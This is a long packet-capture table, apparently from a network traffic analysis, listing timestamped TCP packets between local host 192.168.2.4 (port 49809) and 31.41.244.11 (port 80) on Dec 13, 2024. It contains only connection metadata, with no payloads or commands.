Dec 13, 2024 01:51:28.671894073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.671972036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.672023058 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.673146963 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.673204899 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.673279047 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.673336983 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.674530029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.674587965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.674628973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.674681902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.675909042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.675970078 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.675997972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.676049948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.677269936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.677325010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.677484035 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.677536011 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.678617954 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.678670883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.678673983 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.678723097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.679934025 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.679992914 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.680073023 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.680124998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.681298018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.681351900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.681425095 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.681477070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.682621002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.682771921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.682826042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.683969021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.684022903 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.684088945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.684139013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.685255051 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.685381889 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.685468912 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.685520887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.686552048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.686655998 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.686708927 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.687866926 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.687925100 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.687993050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.688045979 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.689168930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.689223051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.689307928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.689358950 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.690582991 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.690645933 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.690674067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.690726995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.692086935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.692143917 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.692148924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.692193031 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.693322897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.693377018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.693381071 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.693425894 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.694520950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.694586039 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.694610119 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.694658995 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.695739985 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.695851088 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.695883036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.695933104 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.697025061 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.697102070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.697168112 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.697217941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.698388100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.698437929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.698477030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.698527098 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.699645042 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.699700117 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.699773073 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.699841022 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.700952053 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.701008081 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.701081038 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.701133013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.702303886 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.702413082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.702413082 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.702462912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.703582048 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.703641891 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.703692913 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.703751087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.704906940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.704960108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.705032110 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.705120087 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.706191063 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.706243992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.706244946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.706295013 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.707523108 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.707576036 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.707642078 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.707694054 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.708807945 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.708859921 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.708975077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.709024906 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.710146904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.710256100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.710308075 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.711431980 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.711488008 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.711569071 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.711620092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.712739944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.712832928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.831510067 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.831600904 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.831693888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.831727028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.831727982 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.831796885 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.831825018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.832015038 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.832971096 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.833031893 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.833142996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.833142996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.833765984 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.833822012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.833959103 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.834008932 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.834758043 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.834810019 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.834886074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.834937096 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.835731030 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.835783005 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.835853100 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.835901976 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.836725950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.836776972 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.836848021 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.836899996 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.837728977 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.837780952 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.837846994 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.837896109 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.838713884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.838767052 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.838835955 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.838886023 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.839704990 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.839760065 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.839761019 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.839813948 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.840707064 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.840764046 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.840840101 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.840884924 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.841708899 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.841759920 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.841839075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.841887951 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.842703104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.842760086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.842822075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.842875004 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.843686104 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.843739033 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.843822956 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.843874931 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.844676971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.844727993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.844821930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.844871998 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.845725060 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.845782042 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.845870972 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.845921993 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.846664906 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.846714973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.846784115 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.846833944 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.847664118 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.847713947 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.847783089 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.847824097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.849246979 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.849306107 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.849322081 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.849371910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.849652052 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.849700928 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.849806070 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.849855900 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.850630999 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.850681067 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.850749969 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.850799084 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.851670027 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.851720095 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.851738930 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.851790905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.852649927 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.852701902 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.852758884 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.852807999 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.853636026 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.853687048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.853758097 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.853806973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.854657888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.854708910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.854762077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.854813099 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.855628967 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.855679035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.855737925 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.855786085 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.856627941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.856681108 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.856745958 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.856795073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.857611895 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.857724905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.857738018 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.857788086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.858635902 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.858689070 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.858753920 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.858804941 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.859622002 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.859739065 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.859776974 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.859807968 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.860624075 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.860682964 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.860766888 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.860817909 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.861605883 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.861659050 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.861720085 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.861772060 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.862592936 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.862648010 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.862715006 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.862767935 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.863615036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.863672018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.863745928 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.863796949 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.864628077 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.864731073 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.864777088 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.864830017 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.865600109 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.865653992 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.865721941 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.865773916 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.866594076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.866646051 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.866715908 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.866767883 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.867577076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.867626905 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.867697001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.867747068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.868566036 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.868618965 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.868691921 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.868742943 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.869627953 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.869680882 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.869682074 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.869734049 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.870569944 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.870620012 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.870810032 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.870861053 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.871556997 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.871608973 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.871670961 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.871721029 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.872550011 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.872602940 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.872669935 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.872721910 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.873564005 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.873617887 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.873687029 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.873737097 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.874555111 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.874607086 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.874715090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.874772072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.875576973 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.875632048 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.875715971 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.875770092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.876539946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.876590967 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.876674891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.876730919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.877537012 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.877590895 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.877654076 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.877708912 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.878541946 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.878602028 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.878683090 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.878740072 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.879538059 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.879617929 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.879659891 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.879715919 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.880538940 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.880609035 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.880655050 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.880712032 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.881520987 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.881591082 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.881649017 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.881704092 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.882550001 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.882615089 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.882788897 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.882843018 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:28.883491039 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:28.883547068 CET	49809	80	192.168.2.4	31.41.244.11
Dec 13, 2024 01:51:29.023574114 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.023628950 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.023664951 CET	80	49809	31.41.244.11	192.168.2.4
Dec 13, 2024 01:51:29.023768902 CET	80	49809	31.41.244.11	192.168.2.4
